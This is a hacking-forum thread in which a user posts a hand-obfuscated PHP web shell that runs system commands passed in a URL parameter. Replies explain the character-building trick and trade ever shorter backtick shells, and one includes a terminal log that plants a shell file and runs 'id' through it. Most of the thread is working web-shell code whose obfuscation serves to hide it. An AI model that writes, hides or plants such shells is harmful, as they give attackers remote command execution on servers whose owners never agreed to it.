Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

Simple PHP Shell I made [PHP OBFUSCATION]

So I've been messing arround with different methods of obfuscvation in php and stuff like that out of boredom lately.. So here is a very simple shell I wrote.

usage: /shell.php?c={exec_command_here}

Source:
PHP Code

<? /* Simple Shell by Tux. */
$_[+'']='';@$_=$_.'';@$__=++$__+(++$__);$__=$_[$__];
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;$___=$__;++$___;++$___;++$___;$__=$__.$___;$___=
$_[$__];++$___;++$___;++$___;$__=$__.$___;$___=$_[$__];++
$___;++$___;$____=$___;++$____;++$____;++$____;++$____;++$____;$___
=$___.$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;
++$____;++$____;++$____;$___=$___.$____;$__=+'';++$__;$____=
$__($_[$__]);$____=$____-++$__;$____=$___($____).$___(++$____+
(--$__));--$__;--$__;$__=$___[$__];++$__;$____=
$____.$__;++$__;++$__;++$__;++$__;++$__;$____=$____.
$__;$__=$__[$__];++$__;++$__;$____=$____.$__;++
$__;++$__;$__=$_[$__];++$__;++$__;++$__;++
$__;++$__;$____=$____.$__;$__=--$__;$__=$__
[$__];++$__;++$__;++$__;$__=$_[$__];$__=
$__($__)-1;$__=$___($__);$__=$__.$__.$__;
$__=+'';$__=$__.$___[$__];$__='_';$__=$_[+''];
++$__;++$__;++$__;++$__;++$__;++$__;
$__=$__.$__;$__=$__($__)-2;$__=$__.$___
($__);++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;$__=$__.$___
($__);$____($__($_GET[$___[+'']]));?>

What do you all think of it?
(Aug 3, 2013 04:52 PM)PigBacon Wrote:  <?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.

actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p

it uses exec() witch is the same but it spells it out.
(Aug 3, 2013 06:58 PM)NeoXiD Wrote:  Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It kinda reminds me of the language 'Brainfuck'. :p

Well do you understand what exactly I did? For instance how did I get the word 'exec' stored in the variable $__ wishout using any alphanumeric letters?
(Aug 3, 2013 07:54 PM)NeoXiD Wrote:  Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'

EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?

Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?
(Aug 3, 2013 08:23 PM)NeoXiD Wrote:  Well, it is done like this:

Code
$a[+'']=''; // Create array
$a=$a.''; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"

Clever way to hide a character, I must admit, and it takes some time to see through ;)

Regards
NeoXiD

Very nice 🙂 You must of seen this before then 😝
(Aug 3, 2013 08:33 PM)NeoXiD Wrote:  Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual 🙂

Oh nice :p and yeah I've been having fun with it, had nothin to do at work lately so just been messing arround with php while there.
(Aug 3, 2013 08:46 PM)LevelUp Wrote:  Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()

Its just a poc, lol :p But Im writing a much more sophisticated shell in this manor of obfuscation witch I will be releasing here shortly witch will have many measures with witch to try to execute system commands.
(Aug 3, 2013 08:46 PM)LevelUp Wrote:  Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()
why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing
(Aug 4, 2013 01:44 PM)urez Wrote:  why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing

They work in different ways I believe.
(Aug 5, 2013 05:00 AM)Eight Wrote:  And the record for the shortest PHP shell goes to...

Wasn't going for short tho? lol you all miss the point 😝
(Aug 5, 2013 05:00 AM)Eight Wrote:  And the record for the shortest PHP shell goes to...

Also, ne I believe the shortens in that case would be:
PHP Code

<?=`{$_GET['c']}`;?>

🤫
(Aug 5, 2013 07:56 PM)Eight Wrote:  Dammit, got me again. Try loosing the semicolon though, I heared they aren't required on one-line scripts.

Haha yesh 😝 Your right, looks like you got me?
(Aug 5, 2013 08:14 PM)Phizo Wrote:  Not quite.
PHP Code

<?=`$_GET[0]`?>

Do I get a cookie?

or...
PHP Code

<?=`$_GET[0]`; 

Did I just win your cookie?
(Aug 5, 2013 09:19 PM)Phizo Wrote:  
Code
jizzo# cd /srv/http/
jizzo# echo "<?=\`\$_GET[0]\`?>" > hehe.php
jizzo# apachectl start
jizzo# curl "localhost/hehe.php?0=id"  
uid=33(http) gid=33(http) groups=33(http)

Notice my edit, it was in response to somthing else and got in there on accadent lol :p I didnt mean what you said didnt work... 😝


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Javascript]  by HardRockJun 24, 2023 09:16 AM 0 147 Jun 24, 2023 09:16 AM
Last Post: HardRock
[Javascript]  by macfanApr 30, 2020 09:52 AM 9 285 Apr 30, 2020 09:52 AM
Last Post: MavenGradle
[Javascript]  by speckled_eggzDec 21, 2018 03:27 PM 16 910 Dec 21, 2018 03:27 PM
Last Post: speckled_eggz